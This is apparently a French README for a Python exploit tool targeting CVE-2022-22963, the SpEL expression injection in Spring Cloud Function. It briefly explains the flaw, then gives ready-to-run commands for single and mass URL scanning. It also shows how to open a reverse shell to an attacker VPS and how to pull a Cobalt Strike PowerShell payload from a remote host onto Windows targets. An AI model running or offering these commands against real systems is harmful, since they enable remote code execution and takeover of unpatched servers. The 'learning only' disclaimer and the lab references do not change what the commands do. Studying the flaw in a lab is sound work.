Vulnérabilité d'injection d'expression SPEL dans Spring Cloud Function (CVE-2022-22963)

Spring Framework fournit un modèle de programmation et de configuration complet pour les applications Java d'entreprise modernes (sur toute plateforme de déploiement).

Dans le framework sans serveur Spring Cloud Function, la méthode apply de la classe RoutingFunction traite le paramètre d'en-tête spring.cloud.function.routing-expression comme une expression Spel, ce qui entraîne une injection d'expression Spel. Un attaquant peut exploiter cette vulnérabilité pour exécuter du code arbitraire.

Versions concernées : 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

Ce script est uniquement destiné à l'apprentissage. Toute responsabilité légale découlant d'une autre utilisation n'incombe pas à l'auteur.

1.Installation

pip3 install -r requirements.txt	

2.Utilisation

python3 spring-cloud-function-rce.py -h

-u spécifie une URL unique pour le test DNSlog

-e active le mode reverse shell

-s spécifie le système d'exploitation de la cible, par défaut Linux, paramètres possibles : win/linux à utiliser avec les paramètres -i et -c

3.Exemples

3.1 Test d'une URL unique

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

3.2 Test d'URL en masse

python3 spring-cloud-function-rce.py -f "urls.txt"

• 123.58.236.76:47874 est le terrain Docker de vulfocus. La commande nslookup n'y est pas installée, donc le test DNSlog échoue.
• Les URL en masse doivent être la racine du site. Par exemple, http://192.168.50.222:8080/ est la racine du terrain local. L'ajout d'un répertoire test rendra le PoC invalide.

3.3 Obtention d'un shell sur une cible Linux

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "adresse_ip_vps:5566"

3.4 Obtention d'un shell sur une cible Windows

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"

-c spécifie l'adresse du script PowerShell généré par CS pour la prise de contrôle. Doit être utilisé avec -s "win". L'option -c nécessite que le script soit exécuté sous Windows, car elle appelle PowerShell pour encoder le PoC.

4. Terrains

4.1 Construction manuelle avec IntelliJ IDEA

Référence

4.2 Terrain Docker

vulfocus